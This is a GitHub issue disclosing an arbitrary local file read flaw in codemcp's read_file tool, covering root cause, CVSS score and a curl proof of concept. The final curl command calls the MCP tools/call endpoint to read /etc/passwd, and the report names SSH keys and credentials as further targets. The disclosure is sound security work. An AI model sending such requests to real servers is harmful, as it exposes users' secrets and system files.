-
Notifications
You must be signed in to change notification settings - Fork 138
Description
Security: Arbitrary Local File Read via read_file (no sandbox / ACL)
Project: https://github.com/ezyang/codemcp
Component: codemcp/tools/read_file.py
Type: LFR / Local File Read (arbitrary file read)
Severity: High (see “Impact & CVSS”)
Summary
The read_file tool normalizes the incoming path but does not restrict it to any project root, Git repo, or allowlist. Anyone who can reach the MCP /messages endpoint can use tools/call → read_file to read arbitrary files on the host/container, e.g. /etc/passwd, ~/.ssh/*, application secrets, etc.
This contrasts with write paths, which do go through permission checks (e.g., check_file_path_and_permissions / check_edit_permission) before touching files.
Affected code
codemcp/tools/read_file.py- Uses
normalize_file_path(path)and then reads the file. It only enforces size/line limits and basic existence checks; there is no access control/sandbox restriction.
- Uses
codemcp/common.pynormalize_file_path(file_path: str)expands~and returns an absolute path (joining CWD for relative inputs) — no sandboxing to a project root/Git repo.
- Contrast (evidence of expected pattern for write paths):
codemcp/tools/write_file.pycallscheck_file_path_and_permissions→ which callscheck_edit_permissionto ensure the target is inside a Git repo withcodemcp.toml. The read path lacks an analogous check.
Impact & CVSS
- If
/messagesis reachable (e.g., bound to a non-localhost interface, or reachable over a trusted network/tunnel), an unauthenticated caller can read arbitrary files on the host. - Example sensitive targets:
/etc/passwd,~/.ssh/*, app config, API keys, cloud credentials. - CVSS v3.1 (network-reachable scenario): 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
Proof of Concept (PoC)
Start the server (example):
Session ID example: ?session_id=77fc07bcf93c4efe96ee8c15c987c1f9
- Initialize:
curl -sS -L -X POST 'http://127.0.0.1:8002/messages?session_id=77fc07bcf93c4efe96ee8c15c987c1f9' \
-H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{}}}'- (Optional) Client initialized notification:
curl -sS -L -X POST 'http://127.0.0.1:8002/messages?session_id=77fc07bcf93c4efe96ee8c15c987c1f9' \
-H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'- Read an arbitrary file (e.g.,
/etc/passwd):
curl -sS -L -X POST 'http://127.0.0.1:8002/messages?session_id=77fc07bcf93c4efe96ee8c15c987c1f9' \
-H 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/etc/passwd"}}}'Expected result: the file content is returned (screenshot omitted here; can be attached).
Root cause
read_filenormalizes the path and reads it; no check that the path is within a safe root (e.g., Git repo base dir) and no allowlist enforcement.normalize_file_pathonly expands~and absolutizes the path. It does not sandbox.- Write-side code shows the intended security model (inside repo with
codemcp.toml), but read-side does not adopt it.
Environment
- codemcp: current
main(also reproducible on latestprodref) - Python 3.13 via
uv - OS: Linux (container & bare-metal)
Timeline
- 2025-11-04 JST – discovered, verified, and reported here.

